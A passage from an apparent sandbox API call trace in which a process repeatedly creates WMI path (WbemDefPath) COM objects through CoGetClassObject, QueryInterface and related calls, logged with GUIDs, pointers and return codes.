dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x616eb08 | out: ppv=0x616eb08*=0x5f6af60) returned 0x0 [0156.558] WbemDefPath:IUnknown:QueryInterface (in: This=0x5f6af60, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x616ed20 | out: ppvObject=0x616ed20*=0x0) returned 0x80004002 [0156.558] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5f6af60, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616ed2c | out: ppvObject=0x616ed2c*=0x5df460) returned 0x0 [0156.558] WbemDefPath:IUnknown:Release (This=0x5f6af60) returned 0x0 [0156.558] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df460, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e94c | out: ppvObject=0x616e94c*=0x5df460) returned 0x0 [0156.558] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df460, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x616e900 | out: ppvObject=0x616e900*=0x0) returned 0x80004002 [0156.559] WbemDefPath:IUnknown:AddRef (This=0x5df460) returned 0x3 [0156.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df460, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x616e25c | out: ppvObject=0x616e25c*=0x0) returned 0x80004002 [0156.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df460, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x616e20c | out: ppvObject=0x616e20c*=0x0) returned 0x80004002 [0156.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df460, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e218 | out: ppvObject=0x616e218*=0x5f6af90) returned 0x0 [0156.559] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5f6af90, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x616e220 | out: pCid=0x616e220*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.559] WbemDefPath:IUnknown:Release (This=0x5f6af90) returned 0x3 [0156.559] CoGetContextToken (in: pToken=0x616e278 | out: pToken=0x616e278) returned 0x0 [0156.559] CoGetContextToken (in: pToken=0x616e68c | out: pToken=0x616e68c) returned 0x0 [0156.559] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df460, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e70c | out: ppvObject=0x616e70c*=0x0) returned 0x80004002 [0156.559] WbemDefPath:IUnknown:Release (This=0x5df460) returned 0x2 [0156.559] WbemDefPath:IUnknown:Release (This=0x5df460) returned 0x1 [0156.559] SetEvent (hEvent=0x4e8) returned 1 [0156.563] CoGetClassObject (in: rclsid=0x6292f4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x616eb08 | out: ppv=0x616eb08*=0x5f6aff0) returned 0x0 [0156.563] WbemDefPath:IUnknown:QueryInterface (in: This=0x5f6aff0, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x616ed20 | out: ppvObject=0x616ed20*=0x0) returned 0x80004002 [0156.563] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5f6aff0, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616ed2c | out: ppvObject=0x616ed2c*=0x5df4d0) returned 0x0 [0156.564] WbemDefPath:IUnknown:Release (This=0x5f6aff0) returned 0x0 [0156.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df4d0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e94c | out: ppvObject=0x616e94c*=0x5df4d0) returned 0x0 [0156.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df4d0, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x616e900 | out: ppvObject=0x616e900*=0x0) returned 0x80004002 [0156.564] WbemDefPath:IUnknown:AddRef (This=0x5df4d0) returned 0x3 [0156.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df4d0, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x616e25c | out: ppvObject=0x616e25c*=0x0) returned 0x80004002 [0156.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df4d0, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x616e20c | out: ppvObject=0x616e20c*=0x0) returned 0x80004002 [0156.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df4d0, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e218 | out: ppvObject=0x616e218*=0x5f6b000) returned 0x0 [0156.564] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5f6b000, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x616e220 | out: pCid=0x616e220*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.564] WbemDefPath:IUnknown:Release (This=0x5f6b000) returned 0x3 [0156.564] CoGetContextToken (in: pToken=0x616e278 | out: pToken=0x616e278) returned 0x0 [0156.564] CoGetContextToken (in: pToken=0x616e68c | out: pToken=0x616e68c) returned 0x0 [0156.564] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df4d0, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e70c | out: ppvObject=0x616e70c*=0x0) returned 0x80004002 [0156.564] WbemDefPath:IUnknown:Release (This=0x5df4d0) returned 0x2 [0156.564] WbemDefPath:IUnknown:Release (This=0x5df4d0) returned 0x1 [0156.564] SetEvent (hEvent=0x4ec) returned 1 [0156.579] CoGetClassObject (in: rclsid=0x6292f4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x616eb08 | out: ppv=0x616eb08*=0x5f6b020) returned 0x0 [0156.579] WbemDefPath:IUnknown:QueryInterface (in: This=0x5f6b020, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x616ed20 | out: ppvObject=0x616ed20*=0x0) returned 0x80004002 [0156.579] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5f6b020, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616ed2c | out: ppvObject=0x616ed2c*=0x5df540) returned 0x0 [0156.579] WbemDefPath:IUnknown:Release (This=0x5f6b020) returned 0x0 [0156.579] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df540, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e94c | out: ppvObject=0x616e94c*=0x5df540) returned 0x0 [0156.579] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df540, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x616e900 | out: ppvObject=0x616e900*=0x0) returned 0x80004002 [0156.580] WbemDefPath:IUnknown:AddRef (This=0x5df540) returned 0x3 [0156.580] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df540, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x616e25c | out: ppvObject=0x616e25c*=0x0) returned 0x80004002 [0156.580] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df540, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x616e20c | out: ppvObject=0x616e20c*=0x0) returned 0x80004002 [0156.580] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df540, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e218 | out: ppvObject=0x616e218*=0x5f6b030) returned 0x0 [0156.580] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5f6b030, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x616e220 | out: pCid=0x616e220*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.580] WbemDefPath:IUnknown:Release (This=0x5f6b030) returned 0x3 [0156.580] CoGetContextToken (in: pToken=0x616e278 | out: pToken=0x616e278) returned 0x0 [0156.580] CoGetContextToken (in: pToken=0x616e68c | out: pToken=0x616e68c) returned 0x0 [0156.580] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df540, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e70c | out: ppvObject=0x616e70c*=0x0) returned 0x80004002 [0156.580] WbemDefPath:IUnknown:Release (This=0x5df540) returned 0x2 [0156.580] WbemDefPath:IUnknown:Release (This=0x5df540) returned 0x1 [0156.580] SetEvent (hEvent=0x4f0) returned 1 [0156.583] CoGetClassObject (in: rclsid=0x6292f4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x616eb08 | out: ppv=0x616eb08*=0x5f6b060) returned 0x0 [0156.583] WbemDefPath:IUnknown:QueryInterface (in: This=0x5f6b060, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x616ed20 | out: ppvObject=0x616ed20*=0x0) returned 0x80004002 [0156.583] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5f6b060, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616ed2c | out: ppvObject=0x616ed2c*=0x5df620) returned 0x0 [0156.583] WbemDefPath:IUnknown:Release (This=0x5f6b060) returned 0x0 [0156.583] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df620, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e94c | out: ppvObject=0x616e94c*=0x5df620) returned 0x0 [0156.583] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df620, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x616e900 | out: ppvObject=0x616e900*=0x0) returned 0x80004002 [0156.584] WbemDefPath:IUnknown:AddRef (This=0x5df620) returned 0x3 [0156.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df620, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x616e25c | out: ppvObject=0x616e25c*=0x0) returned 0x80004002 [0156.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df620, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x616e20c | out: ppvObject=0x616e20c*=0x0) returned 0x80004002 [0156.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df620, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e218 | out: ppvObject=0x616e218*=0x5f6b070) returned 0x0 [0156.584] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5f6b070, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x616e220 | out: pCid=0x616e220*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.584] WbemDefPath:IUnknown:Release (This=0x5f6b070) returned 0x3 [0156.584] CoGetContextToken (in: pToken=0x616e278 | out: pToken=0x616e278) returned 0x0 [0156.584] CoGetContextToken (in: pToken=0x616e68c | out: pToken=0x616e68c) returned 0x0 [0156.584] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df620, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e70c | out: ppvObject=0x616e70c*=0x0) returned 0x80004002 [0156.584] WbemDefPath:IUnknown:Release (This=0x5df620) returned 0x2 [0156.584] WbemDefPath:IUnknown:Release (This=0x5df620) returned 0x1 [0156.584] SetEvent (hEvent=0x4f4) returned 1 [0156.586] CoGetClassObject (in: rclsid=0x6292f4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x616eb08 | out: ppv=0x616eb08*=0x5f6b060) returned 0x0 [0156.586] WbemDefPath:IUnknown:QueryInterface (in: This=0x5f6b060, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x616ed20 | out: ppvObject=0x616ed20*=0x0) returned 0x80004002 [0156.586] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5f6b060, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616ed2c | out: ppvObject=0x616ed2c*=0x5df690) returned 0x0 [0156.586] WbemDefPath:IUnknown:Release (This=0x5f6b060) returned 0x0 [0156.586] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df690, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e94c | out: ppvObject=0x616e94c*=0x5df690) returned 0x0 [0156.586] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df690, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x616e900 | out: ppvObject=0x616e900*=0x0) returned 0x80004002 [0156.587] WbemDefPath:IUnknown:AddRef (This=0x5df690) returned 0x3 [0156.587] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df690, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x616e25c | out: ppvObject=0x616e25c*=0x0) returned 0x80004002 [0156.587] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df690, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x616e20c | out: ppvObject=0x616e20c*=0x0) returned 0x80004002 [0156.587] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df690, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e218 | out: ppvObject=0x616e218*=0x5f6b080) returned 0x0 [0156.587] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5f6b080, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x616e220 | out: pCid=0x616e220*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.587] WbemDefPath:IUnknown:Release (This=0x5f6b080) returned 0x3 [0156.587] CoGetContextToken (in: pToken=0x616e278 | out: pToken=0x616e278) returned 0x0 [0156.587] CoGetContextToken (in: pToken=0x616e68c | out: pToken=0x616e68c) returned 0x0 [0156.587] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df690, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e70c | out: ppvObject=0x616e70c*=0x0) returned 0x80004002 [0156.587] WbemDefPath:IUnknown:Release (This=0x5df690) returned 0x2 [0156.587] WbemDefPath:IUnknown:Release (This=0x5df690) returned 0x1 [0156.587] SetEvent (hEvent=0x4f8) returned 1 [0156.589] CoGetClassObject (in: rclsid=0x6292f4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppv=0x616eb08 | out: ppv=0x616eb08*=0x5f6b060) returned 0x0 [0156.589] WbemDefPath:IUnknown:QueryInterface (in: This=0x5f6b060, riid=0x713edd3c*(Data1=0xb196b28f, Data2=0xbab4, Data3=0x101a, Data4=([0]=0xb6, [1]=0x9c, [2]=0x0, [3]=0xaa, [4]=0x0, [5]=0x34, [6]=0x1d, [7]=0x7)), ppvObject=0x616ed20 | out: ppvObject=0x616ed20*=0x0) returned 0x80004002 [0156.589] WbemDefPath:IClassFactory:CreateInstance (in: This=0x5f6b060, pUnkOuter=0x0, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616ed2c | out: ppvObject=0x616ed2c*=0x5df700) returned 0x0 [0156.589] WbemDefPath:IUnknown:Release (This=0x5f6b060) returned 0x0 [0156.589] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df700, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e94c | out: ppvObject=0x616e94c*=0x5df700) returned 0x0 [0156.590] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df700, riid=0x713c1b6c*(Data1=0xc3fcc19e, Data2=0xa970, Data3=0x11d2, Data4=([0]=0x8b, [1]=0x5a, [2]=0x0, [3]=0xa0, [4]=0xc9, [5]=0xb7, [6]=0xc9, [7]=0xc4)), ppvObject=0x616e900 | out: ppvObject=0x616e900*=0x0) returned 0x80004002 [0156.590] WbemDefPath:IUnknown:AddRef (This=0x5df700) returned 0x3 [0156.590] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df700, riid=0x713c182c*(Data1=0xecc8691b, Data2=0xc1db, Data3=0x4dc0, Data4=([0]=0x85, [1]=0x5e, [2]=0x65, [3]=0xf6, [4]=0xc5, [5]=0x51, [6]=0xaf, [7]=0x49)), ppvObject=0x616e25c | out: ppvObject=0x616e25c*=0x0) returned 0x80004002 [0156.590] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df700, riid=0x713c1764*(Data1=0x94ea2b94, Data2=0xe9cc, Data3=0x49e0, Data4=([0]=0xc0, [1]=0xff, [2]=0xee, [3]=0x64, [4]=0xca, [5]=0x8f, [6]=0x5b, [7]=0x90)), ppvObject=0x616e20c | out: ppvObject=0x616e20c*=0x0) returned 0x80004002 [0156.590] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df700, riid=0x712f1388*(Data1=0x3, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e218 | out: ppvObject=0x616e218*=0x5f0288) returned 0x0 [0156.590] WbemDefPath:IMarshal:GetUnmarshalClass (in: This=0x5f0288, riid=0x712d2a54*(Data1=0x0, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), pv=0x0, dwDestContext=0x3, pvDestContext=0x0, mshlflags=0x0, pCid=0x616e220 | out: pCid=0x616e220*(Data1=0x33a, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46))) returned 0x0 [0156.590] WbemDefPath:IUnknown:Release (This=0x5f0288) returned 0x3 [0156.590] CoGetContextToken (in: pToken=0x616e278 | out: pToken=0x616e278) returned 0x0 [0156.590] CoGetContextToken (in: pToken=0x616e68c | out: pToken=0x616e68c) returned 0x0 [0156.590] WbemDefPath:IUnknown:QueryInterface (in: This=0x5df700, riid=0x713c1aa8*(Data1=0x144, Data2=0x0, Data3=0x0, Data4=([0]=0xc0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x0, [6]=0x0, [7]=0x46)), ppvObject=0x616e70c | out: ppvObject=0x616e70c*=0x0) returned 0x80004002 [0156.590] WbemDefPath:IUnknown:Release (This=0x5df700) returned 0x2 [0156.590] WbemDefPath:IUnknown:Release (This=0x5df700) returned 0x1 [0156.590] SetEvent (hEvent=0x4fc) returned 1 [0160.285] CoGetClassObject (in: rclsid=0x6292f4*(Data1=0xcf4cc405, Data2=0xe2c5, Data3=0x4ddd, Data4=([0]=0xb3, [1]=0xce, [2]=0x5e, [3]=0x75, [4]=0x82, [5]=0xd8, [6]=0xc9, [7]=0xfa)), dwClsContext=0x15, pvReserved=0x0, riid=0x71426bd4*(Data1=0x1, 